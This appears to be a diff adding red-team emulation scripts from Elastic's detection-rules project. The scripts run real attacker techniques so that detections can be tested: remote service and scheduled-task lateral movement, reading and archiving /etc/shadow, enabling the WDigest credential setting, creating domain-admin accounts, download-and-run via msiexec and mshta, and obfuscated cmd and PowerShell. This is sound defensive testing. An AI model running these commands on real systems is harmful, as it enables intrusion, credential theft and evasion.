b/rta/lateral_command_psexec.py @@ -0,0 +1,25 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: PsExec Lateral Movement +# RTA: lateral_command_psexec.py +# ATT&CK: T1035, T1077 +# Description: Runs PSExec to move laterally + +import sys + +from . import common + + +@common.requires_os(common.WINDOWS) +@common.dependencies(common.PS_EXEC) +def main(remote_host=None): + remote_host = remote_host or common.get_ip() + common.log("Performing PsExec to %s" % remote_host) + common.execute([common.PS_EXEC, "\\\\%s" % remote_host, "-accepteula", "ipconfig"]) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/lateral_commands.py b/rta/lateral_commands.py new file mode 100644 index 000000000..69c054f3e --- /dev/null +++ b/rta/lateral_commands.py @@ -0,0 +1,87 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Lateral Movement Commands +# RTA: lateral_commands.py +# Elatic Detection: Local Service Commands +# signal.rule.name: Local Scheduled Task Commands +# signal.rule.name: Whoami Process Activity +# ATT&CK: T1021, T1047, T1077, T1124, T1126 +# Description: Runs various Windows commands typically used by attackers to move laterally from the local machine. + +import os +import re +import sys + +from . import common + +MY_APP = common.get_path("bin", "myapp.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MY_APP) +def main(remote_host=None): + remote_host = remote_host or common.get_ip() + common.log("Attempting to laterally move to %s" % remote_host) + + remote_host = common.get_ipv4_address(remote_host) + common.log("Using ip address %s" % remote_host) + + # Put the hostname in quotes for WMIC, but leave it as is + if not re.match(common.IP_REGEX, remote_host): + wmi_node = '"{}"'.format(remote_host) + else: + wmi_node = remote_host + + commands = [ + "sc.exe \\\\{host} create test_service binPath= %s" % MY_APP, + "sc.exe \\\\{host} config test_service binPath= c:\\windows\\system32\\ipconfig.exe", + "sc.exe \\\\{host} failure test_service command= c:\\windows\\system32\\net.exe", + "sc.exe \\\\{host} start test_service", + "sc.exe \\\\{host} delete test_service", + "wmic.exe /node:{wmi_node} process call create ipconfig.exe", + "wmic.exe /node:{wmi_node} path WIN32_USERACCOUNT where(name='vagrant') set passwordexpires='false'", + "net.exe time \\\\{host}", + "net.exe use \\\\{host}\\admin$", + "net.exe use \\\\{host}\\admin$ /delete", + "net.exe use \\\\{host}\\c$", + "net.exe use \\\\{host}\\c$ /delete", + ] + + for command in commands: + common.execute(command.format(host=remote_host, wmi_node=wmi_node)) + + _, whoami = common.execute(["whoami"]) + _, hostname = common.execute(["hostname"]) + + domain, user = whoami.lower().split("\\") + hostname = hostname.lower() + schtasks_host = remote_host + + # Check if the account is local or a domain + if domain in (hostname, "NT AUTHORITY"): + common.log("Need password for remote scheduled task in workgroup. Performing instead on %s." % common.get_ip()) + schtasks_host = common.get_ip() + + task_name = "test_task-%d" % os.getpid() + schtask_commands = [ + r"schtasks /s {host} /delete /tn {name} /f", + r"schtasks /s {host} /create /SC MONTHLY /MO first /D SUN /tn {name} /tr c:\windows\system32\ipconfig.exe /f", + + r"schtasks /s {host} /run /tn {name}", + r"schtasks /s {host} /delete /tn {name} /f", + + ] + + for command in schtask_commands: + command = command.format(host=schtasks_host, name=task_name) + common.execute(command) + + # Remote powershell + common.execute(["C:\\Windows\\system32\\wsmprovhost.exe", "-Embedding"], timeout=5, kill=True) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/linux_compress_sensitive_files.py b/rta/linux_compress_sensitive_files.py new file mode 100644 index 000000000..7b2104818 --- /dev/null +++ b/rta/linux_compress_sensitive_files.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Compression of sensitive files +# RTA: linux_compress_sensitive_files.py +# Description: Uses built-in commands for *nix operating systems to compress known sensitive +# files, such as etc/shadow and etc/passwd +from . import common + + +@common.requires_os(common.LINUX) +def main(): + common.log("Compressing sensitive files") + files = ['totally-legit.tar', 'official-business.zip', 'expense-reports.gz'] + + # we don't want/need these to actually work, since the rule is only looking for command line, so no need for sudo + commands = [ + ['tar', '-cvf', files[0], '/etc/shadow'], + ['zip', files[1], '/etc/passwd'], + ['gzip', '/etc/group', files[2]] + ] + for command in commands: + try: + common.execute(command) + except OSError as exc: + # command doesn't exist on distro - the rule only needs one to trigger + # also means we will eventually need to explore per distro ground truth when we expand as counts will vary + common.log(str(exc)) + + +if __name__ == '__main__': + main() diff --git a/rta/linux_discovery_sensitive_files.py b/rta/linux_discovery_sensitive_files.py new file mode 100644 index 000000000..b8561a5f5 --- /dev/null +++ b/rta/linux_discovery_sensitive_files.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Reading sensitive files +# RTA: linux_discovery_sensitive_files.py +# Description: Uses built-in commands for *nix operating systems to read known sensitive +# files, such as etc/shadow and etc/passwd +from . import common + + +@common.requires_os(common.LINUX) +def main(): + common.log("Reading sensitive files", log_type="~") + + # Launch an interactive shell with redirected stdin, to simulate interactive shell access + common.execute('/bin/sh', stdin=""" + cat /etc/sudoers + cat /etc/group + cat /etc/passwd + cat /etc/shadow + """) + + +if __name__ == '__main__': + main() diff --git a/rta/mac_office_descendant.py b/rta/mac_office_descendant.py new file mode 100644 index 000000000..a9e51584c --- /dev/null +++ b/rta/mac_office_descendant.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Mac Descendant of an Office Application +# RTA: mac_office_descendant.py +# Description: Creates a suspicious process spawned from "Microsoft Word" + +import os + +from . import common + + +@common.requires_os(common.MACOS) +def main(): + common.log("Emulating Microsoft Word running enumeration commands") + office_path = os.path.abspath("Microsoft Word") + common.copy_file("/bin/sh", office_path) + + common.execute([office_path], stdin="whoami") + + common.remove_files(office_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/modification_of_wdigest_security_provider.py b/rta/modification_of_wdigest_security_provider.py new file mode 100644 index 000000000..f3e721230 --- /dev/null +++ b/rta/modification_of_wdigest_security_provider.py @@ -0,0 +1,33 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Modification of WDigest Security Provider +# RTA: modification_of_wdigest_security_provider.py +# ATT&CK: T1003 +# Description: Sets WDigest\UseLogonCredential 1 temporarily + +# TODO: Add context to what this does. Does it temporarily disable something? + +import sys + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Modification of WDigest Security Provider") + + # TODO: See if common.temporory_reg should be used instead + common.write_reg(common.HKLM, + "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 1, + common.DWORD, restore=False, pause=True) + + common.write_reg(common.HKLM, + "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0, + common.DWORD, restore=False) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/ms_office_drop_exe.py b/rta/ms_office_drop_exe.py new file mode 100644 index 000000000..ecce23f1b --- /dev/null +++ b/rta/ms_office_drop_exe.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Emulate MS Office Dropping an executable file to disk +# RTA: ms_office_drop_exe.py +# ATT&CK: T1064 +# Description: MS Office writes executable file and it is run. + +import os +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + cmd_path = "c:\\windows\\system32\\cmd.exe" + + for office_app in ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"]: + common.log("Emulating office application %s" % office_app) + office_path = os.path.abspath(office_app) + common.copy_file(cmd_path, office_path) + + bad_path = os.path.abspath("bad-{}-{}.exe".format(hash(office_app), os.getpid())) + common.execute([office_path, '/c', 'copy', cmd_path, bad_path]) + + time.sleep(1) + common.execute([bad_path, '/c', 'whoami']) + + # cleanup + time.sleep(1) + common.remove_files(office_app, bad_path) + print("") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msbuild_network.py b/rta/msbuild_network.py new file mode 100644 index 000000000..36d215325 --- /dev/null +++ b/rta/msbuild_network.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: MsBuild with Network Activity +# RTA: msbuild_network.py +# ATT&CK: T1127 +# signal.rule.name: Microsoft Build Engine Started an Unusual Process +# signal.rule.name: Trusted Developer Application Usage +# Description: Generates network traffic from msbuild.exe + +from . import common + +MS_BUILD = 'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe' + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MS_BUILD) +def main(): + common.log("MsBuild Beacon") + server, ip, port = common.serve_web() + common.clear_web_cache() + + common.log("Updating the callback http://%s:%d" % (ip, port)) + target_task = "tmp-file.csproj" + common.copy_file(common.get_path("bin", "BadTasks.csproj"), target_task) + new_callback = "http://%s:%d" % (ip, port) + common.patch_regex(target_task, common.CALLBACK_REGEX, new_callback) + + common.execute([MS_BUILD, target_task], timeout=30, kill=True) + common.remove_file(target_task) + + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/mshta_network.py b/rta/mshta_network.py new file mode 100644 index 000000000..f21480129 --- /dev/null +++ b/rta/mshta_network.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Microsoft HTA tool (mshta.exe) with Network Callback +# RTA: mshta_network.py +# ATT&CK: T1170 +# Description: Generates network traffic from mshta.exe + +from . import common + +HTA_FILE = common.get_path("bin", "beacon.hta") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(HTA_FILE) +def main(): + # http server will terminate on main thread exit + # if daemon is True + common.log("MsHta Beacon") + server, ip, port = common.serve_web() + common.clear_web_cache() + + new_callback = "http://%s:%d" % (ip, port) + common.log("Updating the callback to %s" % new_callback) + common.patch_regex(HTA_FILE, common.CALLBACK_REGEX, new_callback) + + mshta = 'mshta.exe' + common.execute([mshta, HTA_FILE], timeout=3, kill=True) + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msiexec_http_installer.py b/rta/msiexec_http_installer.py new file mode 100644 index 000000000..402b90301 --- /dev/null +++ b/rta/msiexec_http_installer.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: MsiExec with HTTP Installer +# RTA: msiexec_http_installer.py +# ATT&CK: +# Description: Use msiexec.exe to download an executable from a remote site over HTTP and run it. + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("MsiExec HTTP Download") + server, ip, port = common.serve_web() + common.clear_web_cache() + common.execute(["msiexec.exe", "/quiet", "/i", "http://%s:%d/bin/Installer.msi" % (ip, port)]) + common.log("Cleanup", log_type="-") + common.execute(["msiexec", "/quiet", "/uninstall", "http://%s:%d/bin/Installer.msi" % (ip, port)]) + + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msxsl_network.py b/rta/msxsl_network.py new file mode 100644 index 000000000..a7e063f46 --- /dev/null +++ b/rta/msxsl_network.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: msxsl.exe Network +# RTA: msxsl_network.py +# ATT&CK: T1127 +# Description: Generates network traffic from msxsl.exe + +from . import common + +MS_XSL = common.get_path("bin", "msxsl.exe") +XML_FILE = common.get_path("bin", "customers.xml") +XSL_FILE = common.get_path("bin", "cscript.xsl") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MS_XSL, XML_FILE, XSL_FILE) +def main(): + common.log("MsXsl Beacon") + server, ip, port = common.serve_web() + common.clear_web_cache() + + new_callback = "http://%s:%d" % (ip, port) + common.log("Updating the callback to %s" % new_callback) + common.patch_regex(XSL_FILE, common.CALLBACK_REGEX, new_callback) + + common.execute([MS_XSL, XML_FILE, XSL_FILE]) + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/net_user_add.py b/rta/net_user_add.py new file mode 100644 index 000000000..e0e642579 --- /dev/null +++ b/rta/net_user_add.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Create User with net.exe +# RTA: net_user_add.py +# ATT&CK: T1136 +# signal.rule.name: User Account Creation +# Description: Adds an account to the local host using the net.exe command + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Creating local and domain user accounts using net.exe") + commands = [ + 'net.exe user macgyver $w!$$@rmy11 /add /fullname:"Angus Macgyver"', + 'net.exe user macgyver $w!$$@rmy11 /add /fullname:"Angus Macgyver" /domain', + 'net.exe group Administrators macgyver /add', + 'net.exe group "Domain Admins" macgyver /add /domain', + 'net.exe localgroup Administrators macgyver /add', + ] + + for cmd in commands: + common.execute(cmd) + + cleanup_commands = [ + "net.exe user macgyver /delete", + "net.exe user macgyver /delete /domain" + ] + + common.log("Removing local and domain user accounts using net.exe", log_type="-") + for cmd in cleanup_commands: + common.execute(cmd) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/obfuscated_cmd_commands.py b/rta/obfuscated_cmd_commands.py new file mode 100644 index 000000000..312912d07 --- /dev/null +++ b/rta/obfuscated_cmd_commands.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Emulate Obfuscated cmd Commands +# RTA: obfuscated_cmd_commands.py +# ATT&CK: T1036 +# Description: Runs commands through cmd that are obfuscated using multiple techniques. +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + # All encoded versions of the following: `start calc && ping -n 2 127.0.0.1>nul && taskkill /im calc.exe` + commands = """ + %comspec% /c "cm%OS:~-7,1% /c start%CommonProgramFiles(x86):~29,1%%PUBLIC:~-1%alc && ping -%APPDATA:~-2,-1% 2 127.0.0.1>nul &&%CommonProgramFiles(x86):~-6,1%taskkil%CommonProgramFiles:~-3,-2% /im %TMP:~-8,1%alc.exe + cmd /c "%pUBLIc:~ 14%%PRogRamFIleS:~ 9, -6%%Os:~ 3, -6% /%pubLIc:~ 14, 1% s%TeMp:~ -13, -12%%aPPdATA:~ -11, 1%%prograMfILeS(x86):~ -18, 1%%tMP:~ -13, -12%%prOGRAMw6432:~ -6, -5%%PubliC:~ 14, 1%%Temp:~ -12, -11%%tMP:~ -6, 1%%pubLic:~ 14%%COmmONPRoGRaMfILes:~ 23, 1%&&%COMmOnPrograMw6432:~ -19, -18%%tmp:~ -17, 1%%ApPDatA:~ -3, 1%%CoMmONProgrAMW6432:~ 22, 1%%APPDaTA:~ -1%%PrOGramFILeS:~ -6, -5%-%aPPDaTa:~ -2, -1% 2%pROGRaMW6432:~ -6, -5%127.0.0.1>%apPData:~ -2, 1%u%ProGRaMW6432:~ -3, 1%%COMmoNPRogramFIles(X86):~ -19, -18%&&%PRoGRaMfILES:~ 10, -5%%ALlUsErspRoFiLe:~ 12, -1%a%COmmOnPrOgrAmw6432:~ 28, 1%kk%COmmONPRoGRAmFiles:~ -17, -16%%PUBLic:~ -3, 1%l%prOgrAmW6432:~ -6, 1%/%SyStEmRoOt:~ 4, 1%%COmMOnPROGramfiLeS:~ -9, -8%%prOGRaMW6432:~ 10, -5%%PUBlic:~ -1, 1%%aLlUSErSproFilE:~ -3, 1%%progRaMFIleS(X86):~ 13, 1%c.%tMp:~ -3, 1%x%PUBLiC:~ 5, 1% + cmd /C"set 29L= &&set naP=lc.ex&&set MLe=0.0.1^^^>nul&&set 9YKn=g -n 2 127.&&set DKy=cmd /c &&set WC= ^^^&^^^& taskkill /im&&set 4t8r=rt &&set Kn=e&&set Mx=ca&&set Ave=calc ^^^&^^^& pin&&set Ngsa=sta&&call set UB=%DKy%%Ngsa%%4t8r%%Ave%%9YKn%%MLe%%WC%%29L%%Mx%%naP%%Kn%&&cmd /C %UB%" + cmd /V:ON/C"set Qbd=exe.clac mi/ llikksat ^&^& lun^>1.0.0.721 2 n- gnip ^&^& clac trats c/ dmc&&for /L %B in (68,-1,0)do set Lk=!Lk!!Qbd:~%B,1!&&if %B lss 1 cmd /C !Lk:*Lk!=!" + cmd /V:ON/C"set Bhq=lsep0gxmu-cdatrk^&i2/n.^>7 1&&for %n in (10;7;11;24;19;10;24;1;13;12;14;13;24;10;12;0;10;24;16;16;24;3;17;20;5;24;9;20;24;18;24;25;18;23;21;4;21;4;21;25;22;20;8;0;24;16;16;24;13;12;1;15;15;17;0;0;24;19;17;7;24;10;12;0;10;21;2;6;2;36)do set bj6=!bj6!!Bhq:~%n,1!&&if %n gtr 35 cmd.exe /C!bj6:~-69!" + cmd /V:ON/C"set bc=cmd""b/cbstMHrtbcMHlcb^&^&bpi4gb-4b2b127.0.0.1^>4ulb^&^&btMHskkillb/imbcMHlc.nxn&&set MDi=!bc:MH=a!&&set J7HE=!MDi:n=e!&&set Ryxf=!J7HE:4=n!&&set o2=!Ryxf:b= !&&cmd.exe /C %o2%" + ^F^o^R ;, /^F ," tokens=+2 delims=I=0fU" ; ; %^k , ^In ; ( , ' ; ; ^^As^^SoC , ,.cmd', ; ); ^D^O ;%^k; ; BK ;4Gp/^r" ,, ( (^Set ^ ^\#=^^^^^^^>n), )& (se^t ^_'~=^.)&&( , , ,,, (^sE^t ^ [.^?=^ ) , , )& ( , (s^ET -^+@=^r) , )& (s^et ^$^~^`?=^k)&& (^sEt ^ ^@[~^$=^p)&& (s^Et ^ ^.{`^[=^0.1)&&(,(^set }^*^;_=^^^^^^^&) )&& ( ; ; (^se^t ^ ^'^][}=^l) ; ; )& (s^E^T ^ ^];^}#=^ )&&(^sEt ^ ^.^#^@=^i)& ( (SE^T ^ ^-^?+^{=^ ) )&( ; ; (^SeT ,^?^.^[=^ca) )& (sE^T ^*^',^+=^2)&& (S^E^t ^.^[=^u)&& (S^e^t \^~=^.)& ( , (^Se^T ^{#=^a) )&&( , (s^ET ^\$}^_=^c), )&(^s^e^T ^ ^_^-@`=^0)&( , , ,, , (s^E^T ^ ^}^;=s) )& ( (sE^T ^ ^{_=n) ,)&&( (SE^T ^ ~^,=^ ) )&&( ; (SE^T ^;~?^{=^a) )&& (^S^et ^ ^ `@^~^*=^x)& (s^eT ^+$=^t)&(^S^ET ^ ^$.^]=^t)&& (^S^Et @^[^,=^g)& ( (^S^Et *^\`=^.) )&& (SE^t ^]{=^e)& ( ,;, (^SeT ^'^[=^ ) , )&(^se^T ^ \-^,=k)& ( , (s^et ^ ^ _,^\=l) , , )&& ( (s^eT ^ #^`.=^l ) ; )&(^S^Et ^ -^`=^ )&& (S^ET *^}]^'=^e)&& (SE^t ^;^.*=2^7)&& (S^eT ^ *^;+=^ 1)&(^sET ^_#=^i^m)&( (s^e^T ^ ^[^{^]@=^^^^^^^&^^^^^^^&), , , , ,)&& (^s^E^t ^ ^.^#=l^c)&&(s^e^T ^ .^{=^c)&&(S^et ^.~^}_=^st)&& ( ,, , (^SE^T ^ ^}^+'=^ ) , )& (^seT ;^}@=^^^^^^^&)&&(^se^T [^*{=^ ^-n)& (^S^eT ^ -^*=^/)&( ; (S^E^T ^ ^]^\=^a) ; ; )& ( (^se^T ^ -^}_=^i^l) )&& , ; c^a^l^l ; SE^T +}=%^.~^}_%%^;~?^{%%-^+@%%^$.^]%%^-^?+^{%%,^?^.^[%%_,^\%%^\$}^_%%^}^+'%%^[^{^]@%%^];^}#%%^@[~^$%%^.^#^@%%^{_%%@^[^,%%[^*{%%^'^[%%^*^',^+%%*^;+%%^;^.*%%^_'~%%^_^-@`%%*^\`%%^.{`^[%%^\#%%^.^[%%#^`.%%}^*^;_%%;^}@%%~^,%%^+$%%^]^\%%^}^;%%^$^~^`?%%\-^,%%-^}_%%^'^][}%%[.^?%%-^*%%^_#%%-^`%%.^{%%^{#%%^.^#%%\^~%%^]{%%`@^~^*%%*^}]^'%& , ^CA^l^L ,, eC^H^O , ,%^+}%"| ;f^or; ; /^F; ; " delims=Vvl tokens= +3 " ,, %^3 , ^in ; ( ; , ' ,^^^^as^^^^S^^^^O^^^^c ; ^^^| ; ^^^^f^^^^ind^^^^s^^^^TR ; on^^^^X ', ) ; ; ^do; , %^3; + """ # noqa: E501 + commands = [c.strip() for c in commands.splitlines()] + + for a in commands: + common.execute(a, shell=True, mute=True) + time.sleep(1) + + common.execute(["taskkill", "/F", "/im", "calc.exe"]) + common.execute(["taskkill", "/F", "/im", "calculator.exe"]) + + +if __name__ == "__main__": + main() diff --git a/rta/obfuscated_powershell.py b/rta/obfuscated_powershell.py new file mode 100644 index 000000000..180ed7b34 --- /dev/null +++ b/rta/obfuscated_powershell.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Obfuscated PowerShell Commands +# RTA: obfuscated_powershell.py +# ATT&CK: T1027,T1140,T1192,T1193 +# Description: Runs commands through PowerShell that are obfuscated using multiple techniques. +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + # All encoded versions of the following: + # `iex("Write-Host 'This is my test command' -ForegroundColor Green; start c:\windows\system32\calc")` + commands = r""" + .($env:public[13]+$env:public[5]+'x')("Write-Host 'This is my test command' -ForegroundColor Green; start c:\windows\system32\calc.exe") + iex((('W'+'rite-Hos'+'t no'+'HThi'+'s'+' is'+' my test comma'+'n'+'dnoH'+' '+'-F'+'oregroundCol'+'or G'+'r'+'e'+'en'+'; start'+' c:z'+'R'+'d'+'window'+'szRdsystem'+'3'+'2zRdca'+'lc').rEPlacE(([chaR]122+[chaR]82+[chaR]100),'\').rEPlacE('noH',[StrINg][chaR]39))) + iex("W''rite-H''ost 'This is my test command' -Fore''grou''ndC''olor Gr''een; start c:\windows\system32\ca''lc.ex''e") + iex("Write-Host 'This is my test command' -ForegroundColor Green; start c:\windows\system32\" + $env:public[-1] + "alc.exe") + iex(((("{23}{7}{8}{16}{25}{9}{21}{18}{2}{5}{15}{11}{20}{24}{6}{12}{22}{17}{1}{13}{3}{10}{14}{19}{0}{4}" -f 'alc.ex','ndowsSDUsyst','dm4','2','e','H','r','r','ite-Ho','This i','S','oregroundC',' Gr','em3','DU',' -F','s','rt c:SDUwi','t comman','c','ol','s my tes','een; sta','W','o','t m4H')).rePlAce(([Char]109+[Char]52+[Char]72),[StrIng][Char]39).rePlAce(([Char]83+[Char]68+[Char]85),'\'))) + i`ex("Write-Host 'This is my t`est co`mmand' -ForegroundColor Gr`een; start c`:\wind`ows\syste`m32\calc.e`xe") + &( ([StrIng]$vERbosEpreFereNCE)[1,3]+'x'-JoiN'') ([char[]]( 105 , 101 ,120 ,40 ,34 , 87,114 ,105,116,101 ,45,72 , 111,115,116, 32 , 39,84, 104,105 ,115 ,32, 105 , 115, 32 , 109 ,121 ,32 , 116 ,101,115 ,116 , 32 , 99, 111,109 ,109, 97 , 110,100 , 39 ,32,45,70,111 ,114 ,101, 103 ,114 ,111 ,117 ,110, 100, 67 ,111 ,108 , 111,114,32, 71 ,114, 101, 101, 110, 59, 32, 115 ,116,97, 114,116, 32, 99,58 ,92 , 119,105 ,110 , 100 , 111 , 119 , 115,92 ,115 , 121 ,115, 116, 101,109, 51 , 50 , 92,99, 97, 108 , 99,46 , 101, 120,101 , 34,41) -jOIN'' ) + " $( SET-vARiAble 'ofs' '' )"+[StRInG]('69>65n78g28g22R57R72>69R74u65g2dR48M6fn73R74V20%27V54n68M69>73n20%69u73V20>6dV79>20V74M65%73g74>20M63M6fM6dn6dV61g6eR64>27M20M2d%46n6fM72M65M67>72>6fn75u6eV64>43g6fV6cM6fn72M20u47n72M65>65>6e%3bR20R73%74V61R72V74u20R63M3an5c%77%69g6e>64%6fg77n73u5cV73V79n73V74>65M6dn33%32V5cV63g61V6cg63%2eg65%78n65%22>29'.spLiT('Mu>RV%gn')| % { ( [chAr]([coNVErT]::tOINT16( ([sTRING]$_ ) ,16 ))) }) +" $(SET-Item 'vARiable:OFS' ' ' ) " |& ( $verbOsePREFeRENce.tOstrING()[1,3]+'X'-JOIn'') + ${ }= +$(); ${ } =${ }; ${ }= ++ ${ };${ }= ++${ }; ${ }=++ ${ };${ } = ++ ${ };${ }= ++ ${ }; ${ } = ++ ${ };${ }=++ ${ }; ${ }= ++ ${ };${ } =++ ${ }; ${ } ="[" + "$(@{} ) "[ ${ }] + "$(@{})"[ "${ }${ }" ]+"$( @{} ) "["${ }${ }" ] + "$? "[${ }]+ "]";${ }= "".("$( @{ } ) "[ "${ }"+"${ }" ] + "$(@{})"["${ }" +"${ }"]+"$( @{ } )"[${ }]+ "$(@{ }) "[ ${ } ] +"$?"[${ }] + "$(@{ }) "[${ }] );${ } ="$(@{})"["${ }${ }" ]+ "$(@{})"[ ${ }] +"${ }"["${ }${ }"]; "${ }(${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ } +${ }${ }${ }+${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }+${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } )"| &${ } + """ # noqa: E501 + commands = [c.strip() for c in commands.splitlines()] + + for command in commands: + common.execute(["powershell", "-c", command], shell=True) + time.sleep(1) + + common.execute(["taskkill", "/F", "/im", "calc.exe"]) + common.execute(["taskkill", "/F", "/im", "calculator.exe"]) + + +if __name__ == "__main__": + main() diff --git a/rta/office_application_startup.py b/rta/office_application_startup.py new file mode 100644 index 000000000..607e18465 --- /dev/null +++ b/rta/office_application_startup.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Office Application Startup +# RTA: office_application_startup.py +# ATT&CK: T1137 +# Description: Modifies the registry to persist a DLL on Office Startup. + +import sys + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(dll_location="c:\\windows\\temp\\evil.dll"): + # Write evil dll 